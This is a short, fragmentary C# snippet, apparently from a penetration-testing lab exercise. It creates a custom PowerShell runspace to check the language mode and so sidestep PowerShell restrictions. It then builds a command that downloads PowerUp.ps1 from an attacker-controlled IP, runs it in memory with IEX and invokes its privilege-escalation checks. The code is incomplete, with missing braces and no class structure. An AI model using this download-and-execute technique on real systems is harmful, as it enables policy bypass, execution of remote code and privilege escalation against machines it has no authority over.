using System.Management.Automation;
using System.Management.Automation.Runspaces;
static void Main(string[] args)
Runspace rs = RunspaceFactory.CreateRunspace();
PowerShell ps = PowerShell.Create();
String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.49.95/PowerUp.ps1') | IEX; Invoke-AllChecks | Out-File -FilePath C:\\Tools\\test.txt";